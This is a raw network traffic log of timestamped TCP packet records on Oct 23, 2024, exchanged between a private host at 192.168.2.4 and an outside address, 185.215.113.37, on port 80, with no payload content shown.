Oct 23, 2024 15:48:21.354079962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.354082108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.354082108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.354093075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.354104996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.354116917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.354125977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.354132891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.354136944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.354150057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.354161024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.354161978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.354161978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.354173899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.354186058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.354197979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.354197979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.354201078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.354212999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.354226112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.354237080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.354249001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.354253054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.354253054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.354262114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.354273081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.354274988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.354290009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.354305029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.354311943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.354311943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.354317904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.354330063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.354341984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.354356050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.354367971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.354372978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.354372978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.354381084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.354393005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.354404926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.354407072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.354407072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.354417086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.354429007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.354443073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.354454041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.354468107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.354471922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.354471922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.354482889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.354494095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.354505062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.354510069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.354510069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.354520082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.354532003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.354543924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.354554892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.354563951 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.354563951 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.354567051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.354582071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.354594946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.354599953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.354599953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.354609013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.354620934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.354633093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.354645014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.354645967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.354645967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.354659081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.354671955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.354686975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.354692936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.354693890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.354700089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.354712963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.354724884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.354737043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.354737997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.354737043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.354751110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.354759932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.354769945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.354782104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.354785919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.354785919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.354794025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.354809046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.354821920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.354834080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.354844093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.354844093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.354847908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.354861021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.354873896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.354886055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.354892015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.354892015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.354897976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.354911089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.354923964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.354935884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.354948044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.354948997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.354948997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.354962111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.354974031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.354984999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.354984999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.354985952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.354999065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.355010986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.355022907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.355036020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.355040073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.355040073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.355048895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.355062962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.355074883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.355076075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.355076075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.355087996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.355098963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.355112076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.355124950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.355137110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.355139971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.355139971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.355184078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.355184078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.389709949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.389739990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.389776945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.389801025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.389815092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.389815092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.389833927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.389857054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.389869928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.389869928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.389889956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.389892101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.389916897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.389939070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.389951944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.389951944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.389964104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.389981985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.390001059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.390001059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.390014887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.390022993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.390039921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.390062094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.390075922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.390075922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.390084982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.390124083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.390136003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.390136003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.390161991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.390196085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.390199900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.390199900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.390229940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.390233040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.390280008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.390317917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.390320063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.390320063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.390351057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.390360117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.390388012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.390422106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.390454054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.390482903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.390482903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.390482903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.390482903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.390486956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.390522003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.390532970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.390554905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.390578985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.390587091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.390620947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.390640974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.390640974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.390654087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.390687943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.390723944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.390737057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.390737057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.390742064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.390762091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.390778065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.390784979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.390810966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.390845060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.390855074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.390855074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.390877008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.390892982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.390912056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.390949965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.390949965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.464871883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.464927912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.464972973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.464972973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.464979887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.465015888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.465049028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.465080976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.465095997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.465095997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.465115070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.465147972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.465153933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.465153933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.465182066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.465215921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.465228081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.465228081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.465250969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.465284109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.465291023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.465291023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.465321064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.465354919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.465358973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.465358973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.465401888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.465779066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.465825081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.465831041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.465866089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.465905905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.465905905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.465919971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.465966940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.465993881 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.466001034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.466022015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.466052055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.466056108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.466090918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.466139078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.466171980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.466182947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.466182947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.466222048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.466224909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.466257095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.466289043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.466299057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.466299057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.466341019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.466368914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.466382980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.466382980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.466403961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.466418028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.466449976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.466454029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.466506958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.466507912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.466561079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.466564894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.466598034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.466604948 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.466634989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.466669083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.466701031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.466706991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.466706991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.466734886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.466737032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.466768980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.466778994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.466801882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.466835022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.466862917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.466881037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.466881037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.466907978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.466913939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.466964006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.466995955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.467040062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.467040062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.467045069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.467077971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.467127085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.467133045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.467163086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.467195034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.467206001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.467206001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.467223883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.467257977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.467267990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.467273951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.467308998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.467335939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.467360020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.467405081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.467405081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.467411995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.467464924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.467498064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.467530966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.467545986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.467545986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.467565060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.467582941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.467613935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.467614889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.467665911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.467722893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.467722893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.467730999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.467765093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.467797041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.467813015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.467844009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.467847109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.467880011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.467931032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.467967033 CEST	49730	80	192.168.2.4	185.215.113.37
